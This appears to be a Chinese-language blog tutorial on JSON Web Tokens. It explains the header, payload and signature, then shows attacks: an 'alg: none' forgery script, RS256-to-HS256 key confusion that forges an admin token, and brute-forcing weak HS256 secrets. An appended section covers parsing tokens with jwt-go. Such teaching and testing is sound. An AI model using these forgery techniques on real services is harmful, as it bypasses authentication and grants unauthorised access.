JSON WEB TOKEN-----jwt

一,JWT介绍
在这里插入图片描述
JSON Web Token(JWT)是目前最流行的跨域身份验证解决方案。是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。
二,JWT的原理
服务器认证后,生成一个JSON对象,发回给用户。就像下面一样。

{
	“姓名”:“FFM-G”,
	“时间”:“2019年5月”
}

三:JWT的数据结构

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiUG9vb28iLCJwcml2IjoiYWRtaW4ifQ.wBWpv0FNU_BIZqK0OdockoR2nzRRJT9gTWPXvMd497k

上面这个就是一个JWT。他是一个很长的字符串,一共分为三部分,每部分用(.)分割。


三部分依次如下:

  • header(头部)
  • payload(负载)
  • Signature(签名)
    也就是说Header.Payload.Signature
    jwt 解码https://jwt.io/
    第一部分,头部headereyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
{
  "alg": "RS256",
  "typ": "JWT"
}

alg表示签名的算法,默认为HS256,或者是RSA
typ表示token的类型。
对header部分进行base64url编码,编码后就是eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
第二部分:负载payloadeyJuYW1lIjoiUG9vb28iLCJwcml2IjoiYWRtaW4ifQ

{
  "name": "Poooo",
  "priv": "admin"
}

可见可以看到用户名和用户,因此不要在jwt中的header和payload中放置敏感的信息,除非他们本身是加密的。
对payload部分进行base64url编码,编码后就是payloadeyJuYW1lIjoiUG9vb28iLCJwcml2IjoiYWRtaW4ifQ
第三部分:签名signaturewBWpv0FNU_BIZqK0OdockoR2nzRRJT9gTWPXvMd497k
Signature 部分是 对前两部分 的 签名,目的是:防止数据篡改。
首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.)分隔,就可以返回给用户。
base64url:这个编码其实和base64大体上并没有多少变化,只是有时token会在url中传输,例如:www.xxxx.com?token=xxxx 因为base64中的+ = /会在url中有特殊的含义,所以要进行替换。=会被省略 +替换为 -/替换为 _。这就是base64url编码。

四:攻击jwt
1,敏感信息泄露
因为jwt是明文传输,所以payload容易存在敏感信息泄露。


2,修改算法为none
签名算法是为了后端进行签名校验,所以修改alg算法为none,后端就不会进行签名校验。直接可以将token中的signaturn数据(只留下header+’.’+payload+’.’)提交到服务器即可。
这种攻击的例子可以参考:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
案例如下:

import jwt
import base64

# 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}

# 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}

def b64urlencode(data):
    return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

# 构造算法字段为none, payload部分可以随意修改
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
    '.' + b64urlencode("{\"data\":\"test\"}") + '.'

结果如下:
在这里插入图片描述


3,修改算法RS256为HS256
算法RS256是非对称算法,所以使用私钥对信息进行签名,使用公钥进行验证。
算法HS256是对称算法,只需要使用秘密密钥对每条信息进行签名和验证。
案例如下:
如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名,从而伪造token通过验证。

import jwt
import base64
public = open('pubkey.txt', 'r').read() #pubkey.txt为公钥
print jwt.encode({"name": "Poooo","priv": "admin"}, key=public, algorithm='HS256')

4,HS256(对称加密)密钥破解
如果HS256密钥强度较弱,可以直接暴力破解,如PyJWT库样例代码中使用secret字符串当做密钥

那么暴力猜解密钥,当密钥正确则解密成功,密钥错误解密代码抛出异常

可使用PyJWT或 John Ripper进行破解测试
PyJWT库 https://github.com/jpadilla/pyjwt


>>> import jwt

>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')

'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'

>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])

{'some': 'payload'}

参考:https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html
http://www.cnblogs.com/dliv3/p/7450057.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要解析jwt-go的token,可以按照以下步骤进行操作: 1. 首先,引入`jwt-go`包并导入所需的其他依赖项。可以使用以下代码来实现: ``` import ( "fmt" "github.com/dgrijalva/jwt-go" ) ``` 2. 然后,定义自定义声明结构体,该结构体包含要在token中解析的声明信息。例如,可以定义一个名为`MyCustomClaims`的结构体,如下所示: ``` type MyCustomClaims struct { Foo string `json:"foo"` jwt.StandardClaims } ``` `MyCustomClaims`结构体中的`Foo`字段表示在token中包含的自定义声明。 3. 接下来,使用`jwt.ParseWithClaims`函数解析token并将其与自定义声明结构体进行绑定。可以使用以下代码实现: ``` tokenString := "eyJhbGciOiJIUzI1NiIsInR5cCI6I***XVCJ9.eyJmb28iOiJiY***iLCJleHAiOjE1***AwLCJpc3MiOiJ0ZXN0In0.HE7fK0xOQwFEr4WDgRWj4teRPZ6i3GLwD5YCm6Pwu_c" claims := &MyCustomClaims{} token, err := jwt.ParseWithClaims(tokenString, claims, func(token *jwt.Token) (interface{}, error) { // 返回用于验证token的加密密钥 return []byte("AllYourBase"), nil }) ``` 在`jwt.ParseWithClaims`函数中,传入token字符串、自定义声明结构体的指针和一个回调函数。回调函数用于提供用于验证token的加密密钥。 4. 最后,检查解析和验证token的结果。可以使用以下代码来检查是否成功解析和验证了token: ``` if token.Valid { fmt.Printf("%v %v", claims.Foo, claims.ExpiresAt) } else { fmt.Println(err) } ``` 如果token有效,可以通过`claims`变量访问其中的声明信息。在上述示例中,我们打印了`Foo`字段和`ExpiresAt`声明的值。如果token无效,将打印出解析和验证错误。 综上所述,这就是解析`jwt-go`的token的步骤。请注意,需要根据自己的实际情况修改代码中的token字符串和自定义声明结构体。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [(4)go web开发之 JWT-Token认证机制Access Token与Refresh Tokenjwt-go 库介绍及在项目中使用](https://blog.csdn.net/pythonstrat/article/details/121875782)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值